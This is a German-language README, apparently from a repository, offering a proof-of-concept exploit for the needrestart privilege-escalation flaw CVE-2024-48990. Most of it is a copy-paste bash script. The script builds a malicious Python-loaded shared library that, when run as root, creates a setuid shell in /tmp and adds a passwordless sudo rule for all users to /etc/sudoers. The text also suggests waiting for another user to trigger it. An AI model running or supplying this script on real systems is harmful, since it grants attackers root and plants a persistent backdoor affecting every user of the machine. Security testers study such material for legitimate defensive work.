
Testen von POCs für Anwendungsfälle
Dieses Repository enthält einen Proof of Concept (PoC), um eine Schwachstelle im needrestart-Programm zu demonstrieren, die den Python-Pfad nicht korrekt setzt, was zu potenzieller Rechteausweitung führt. Der PoC zeigt einen möglichen Weg zur Erlangung erhöhter Privilegien durch Ausnutzung dieses Fehlers.
Die CVE-2024-48990-Schwachstelle liegt im needrestart-Paket. Konkret setzt es den Python-Pfad nicht ordnungsgemäß, was ausgenutzt werden kann, um Privilegien zu eskalieren, wenn sie durch bestimmte Aktionen ausgelöst wird.
Dieser PoC simuliert ein Szenario, in dem eine bösartige gemeinsam genutzte Bibliothek über Python geladen wird, um Systemeinstellungen zu manipulieren und erhöhte Rechte zu erlangen. Verwenden Sie es nur in einer kontrollierten, sicheren Umgebung zu Testzwecken.
Um zu überprüfen, ob Sie verwundbar sind, führen Sie aus:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
Wenn Sie eine verwundbare Version zum Testen benötigen, führen Sie einfach Folgendes aus:
sudo apt install needrestart=3.7-3
Um die Schwachstelle auszulösen, führen Sie Folgendes aus, während das Listener-Skript läuft:
sudo apt remove ntp; sudo apt install ntp
Dieser Befehl installiert ein Paket (in diesem Fall ntp), das dazu führt, dass das Problem mit needrestart ausgelöst wird. Idealerweise würden Sie jedoch darauf warten, dass ein anderer Benutzer auf dem System ein Update oder etwas Ähnliches durchführt, das needrestart auslöst, wie z.B. sudo apt update.
Führen Sie das folgende Skript aus, um den PoC einzurichten und die Schwachstelle auszulösen. Sie können es direkt als Ganzes in Ihr Terminal kopieren und einfügen und warten, oder es manuell auslösen, wie oben mit ntp gezeigt. Es fügt außerdem die Binärdatei zum sudo-Pfad für alle Benutzer hinzu, um es zu demonstrieren – realistischerweise können Sie einfach alle Pfade für sudo für Ihren Benutzer hinzufügen, aber ich wollte beides zeigen:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Wenn Sie die Testdateien bereinigen und sich aus der sudoers-Datei entfernen möchten, führen Sie Folgendes von einer erhöhten Eingabeaufforderung aus:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart-Paket installiert (oder entfernt und neu installiert, um es auszulösen)Dieser PoC dient nur zu Testzwecken und sollte nicht in einer Produktionsumgebung verwendet werden. Das Ausnutzen dieser Schwachstelle in nicht autorisierten Umgebungen kann illegal sein. Holen Sie stets die ausdrückliche Erlaubnis ein, bevor Sie Sicherheitstests durchführen.
Viel Spaß beim Testen! 🧪🚀